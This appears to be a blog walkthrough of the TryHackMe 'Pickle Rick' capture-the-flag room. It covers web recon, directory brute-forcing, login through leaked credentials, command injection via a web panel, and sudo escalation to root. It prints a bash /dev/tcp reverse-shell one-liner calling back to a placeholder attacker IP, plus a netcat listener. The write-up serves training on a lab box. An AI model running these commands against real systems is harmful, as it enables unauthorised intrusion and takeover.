π― Room Info
| Room | Pickle Rick |
| Difficulty | π’ Easy |
| Category | Web enumeration, command injection, Linux privesc |
| Link | tryhackme.com/room/picklerick |
π What This Room Is About
Pickle Rick is a Rick and Mortyβthemed CTF: Rick has turned himself into a pickle and needs your help finding three ingredients hidden across the box to turn himself back.
Under the fun theme, this room teaches a very real attack chain:
- π Recon a website (source code + hidden files)
- π Find leaked credentials
- π» Get command execution through a web app
- β¬οΈ Escalate to root
It's a great follow-up to Bounty Hacker because the initial foothold comes from the web, not a leaky FTP server.
π§ Skills You'll Practice
- Web recon (viewing page source,
robots.txt) - Directory brute-forcing with Gobuster
- Login brute-forcing / credential hunting
- Exploiting a web-based command execution panel
- Basic Linux privilege escalation
π οΈ Step-by-Step Walkthrough
1οΈβ£ Scan the target
nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>
You'll find SSH (22) and HTTP (80) open. The web server is where this room lives, so head there first.
2οΈβ£ Check the page source and robots.txt
Open the site in a browser and view the page source (Ctrl+U). Rick and Mortyβstyle comments in the HTML often hint at a username.
Then check the classic low-hanging fruit:
http://<TARGET_IP>/robots.txt
This usually reveals a hidden path β something like /assets/ or a Rick-themed filename β worth visiting directly in the browser.
π‘ Why this matters:
robots.txttells search engines what not to index β which often means it's telling you exactly where the interesting stuff is.
3οΈβ£ Brute-force for hidden directories/files
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
This should surface a login page (commonly /login.php) and other useful paths.
4οΈβ£ Find the first ingredient / credentials
Combining what you found in robots.txt and page source, you should uncover:
- A username (hinted at in HTML comments)
- A password (often stored as a hidden text file discovered via directory brute-forcing)
Use those to log into the portal you found.
π₯ Click to reveal: hint for finding credentials
Look carefully at everything Gobuster returns β one of the discovered files is not a normal web page but a plain text file containing a password string. Pair it with the username found in the page source comments.
5οΈβ£ Get command execution
Once logged in, the portal exposes a command panel β a text box that lets Rick run shell commands (in-universe, for "portal gun diagnostics"). This is a command injection point.
Try basic commands first to confirm execution:
ls
whoami
Then hunt for the first ingredient:
find / -iname "*ingredient*" 2>/dev/null
cat "Sup3rS3cretPickl3Ingred.txt"
π‘ Why this matters: any web feature that runs OS commands based on user input β even one dressed up as a "diagnostic tool" β is a command injection vulnerability. This exact pattern shows up constantly in real bug bounty reports.
6οΈβ£ Get a proper shell
The command panel is clunky for exploring the filesystem. Upgrade to a real reverse shell for a smoother experience:
# On your attack machine, start a listener:
nc -lvnp 4444
# Trigger through the web command panel:
bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'
Once the shell connects back, stabilize it:
python3 -c 'import pty; pty.spawn("/bin/bash")'
7οΈβ£ Find the second ingredient
Explore the web user's home directory and common web app locations:
find / -iname "*ingredient*" 2>/dev/null
cat "second ingredients"
8οΈβ£ Escalate to root
Check what the current user can run as root:
sudo -l
In this room, the web-server user typically has full sudo rights ((ALL) NOPASSWD: ALL) β a serious misconfiguration that hands you root instantly:
sudo su
or run any command directly with sudo.
9οΈβ£ Grab the final ingredient and the flag
cd /root
ls
cat "third ingredients"
cat root.txt
π© Click to reveal: root flag
Redacted β swap in your own captured flag if you want to keep a private record.
π Every Command, In Order
nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
nc -lvnp 4444
bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'
python3 -c 'import pty; pty.spawn("/bin/bash")'
find / -iname "*ingredient*" 2>/dev/null
sudo -l
sudo su
π Key Takeaways
-
View-source and
robots.txtare free wins. Always check both before running any automated tool β they cost nothing and often hand you a username or hidden path directly. - Any "run a command" feature in a web app is a red flag. Even when it's framed as a diagnostic or utility tool, if it executes OS commands from user input, it's a command injection vulnerability waiting to be reported.
-
(ALL) NOPASSWD: ALLinsudo -lmeans instant root. This misconfiguration is unfortunately common in real environments too β it's one of the first things a penetration tester checks. -
Unstable shells are still useful β but stabilize them. The
python3 -c 'import pty; pty.spawn("/bin/bash")'trick is one of the most-used one-liners in real engagements, not just CTFs.
Top comments (0)